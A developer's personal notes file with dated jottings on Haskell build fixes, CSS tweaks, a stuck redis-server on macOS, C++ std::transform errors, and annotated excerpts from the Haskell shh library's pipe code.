https://github.com/deddu/nyxt-docker --------------------------------------------------------------------------- Haskell Language Extension ViewPattern https://blog.ocharles.org.uk/posts/2014-12-02-view-patterns.html --------------------------------------------------------------------------- Thu 8 Sep 00:30:48 2022 KEY: Firefox sqlite file name places.sqlite --------------------------------------------------------------------------- Sat 24 Sep 10:49:49 2022 KEY: emacs bookmarks file under, bookmark location ./.emacs.d/epla/eww-bookmarks --------------------------------------------------------------------------- Fri 7 Oct 21:48:05 2022 KEY: Change bg color in haskell doc in Safari, haskell doc css, haskell document css, haskell css, haskell doc html /Library/WebServer/Documents/xfido/htmlhaskelldoc/linuwial.css #content { margin: 3em auto 6em auto; padding: 0; background-color: #9da39f; font-size: 18px; } --------------------------------------------------------------------------- Wed 21 Dec 14:15:22 2022 KEY: redis-server CAN NOT be shutdown macOS Big Sur, 11.5.2 Redis server v=7.0.7 sha=00000000:0 malloc=libc bits=64 build=a3742a925486b064 ps aux | grep redis-server | awk '{print $2}' | line 'x -> kill -9 x' I have to restart my macOS --------------------------------------------------------------------------- Mon 13 Mar 00:43:53 2023 Update xfido/html/indexLatexMatrix.html file. Change Latex library from MathJax to Katex Push it to repo. b455601b HEAD@{0}: commit: Changed MathJax to Katex and Fixed script.js is missing in the head --------------------------------------------------------------------------- KEY: ghc bug, resolver bug, prex, can not load cocoa, cocoa bug Thu 23 Feb 14:39:33 2023 @ Haskell NOTE: Use resolver: lts-17.2 There is bug on TPS.outputOptionsCompact is not found with older lts FIXED: The bug can be fixed by changing its resolver to lts-17.2 in haskellwebapp2/stack.yaml SEE: haskellwebapp2/stack.yaml Text.Pretty.Simple => prettyprinter-1.7.1 SEE: dependencies: => stack ls dependencies URI: /Users/aaa/myfile/bitbucket/haskelllib/AronModule.hs --------------------------------------------------------------------------- Wed 3 May 09:43:04 2023 KEY: cpp suck, cpp transform { // OK vector v = {1, 2, 3}; std::transform(v.begin(), v.end(), v.begin(), [](auto x) { return x * x;}); print(v); } { // ERROR, transform can not convert type float to string vector v = {1, 2, 3}; std::transform(v.begin(), v.end(), v.begin(), [](auto x) { return toStr(x);}); print(v); } --------------------------------------------------------------------------- Saturday, 05 August 2023 13:09 EDT https://github.com/luke-clifton/shh/blob/master/shh/src/Shh/Internal.hs#L123 newtype Proc a = Proc (Handle -> Handle -> Handle -> IO a) deriving Functor fun :: Proc a -> Proc b -> IO c fun (Proc a) (Proc b) $ \i o e -> do -- | Type representing a series or pipeline (or both) of shell commands. -- -- @Proc@'s can communicate to each other via @stdin@, @stdout@ and @stderr@ -- and can communicate to Haskell via their parameterised return type, or by -- throwing an exception. newtype Proc a = Proc (Handle -> Handle -> Handle -> IO a) deriving Functor class Shell f where runProc :: HasCallStack => Proc a -> f a instance Shell IO where runProc = runProc' stdin stdout stderr runProc' :: Handle -> Handle -> Handle -> Proc (Handle -> Handle -> Handle -> IO a) -> IO a runProc' :: i o e f r <- f i o e -- | Runs a `Proc` in `IO`. Like `runProc`, but you get to choose the handles. -- This is UNSAFE to expose externally, because there are restrictions on what -- the Handle can be. Within shh, we never call `runProc'` with invalid handles, -- so we ignore that corner case (see `hDup`). runProc' :: Handle -> Handle -> Handle -> Proc a -> IO a runProc' i o e (Proc f) = do -- Flush stdout and stderr so that sequencing commands with -- Haskell IO functions looks right. hFlush stdout hFlush stderr r <- f i o e -- Evaluate to WHNF to uncover any ResourceVanished exceptions -- | -- +-> Weak Head Normal Form -- that may be hiding in there from `nativeProc`. These should -- not happen under normal circumstances, but we would at least -- like to have the exception thrown ASAP if, for whatever reason, -- it does happen. pure $! r -- | Like @`|>`@ except that it keeps both return results. Be aware -- that the @fst@ element of this tuple may be hiding a @SIGPIPE@ -- exception that will explode on you once you look at it. -- -- You probably want to use @`|>`@ unless you know you don't. pipe :: Shell f => Proc a -> Proc b -> f (a, b) pipe (Proc f) (Proc g) = buildProc $ \i o e -> withPipe $ \r w -> do let a' = f i w e `finally` hClose w b' = g r o e `finally` hClose r concurrently a' b' createPipe (readEnd, writeEnd) writeEnd -> [ ] -> readEnd | | v v write char to pipe read char from pipe stream = fopen(int, "w") stream = fopen(int, "r") pipe => buildProc buildProc :: Shell f => (Handle -> Handle -> Handle -> IO a) -> f a buildProc = runProc . Proc => withPipe withPipe :: (Handle -> Handle -> IO a) -> IO a withPipe k = bracket createPipe (\(r,w) -> hClose r `finally` hClose w) (\(r,w) -> k r w) --------------------------------------------------------------------------- Fri 8 Sep 17:30:40 2023 Change the body tag in $www/screen.css ---------------------------------------------------------------------------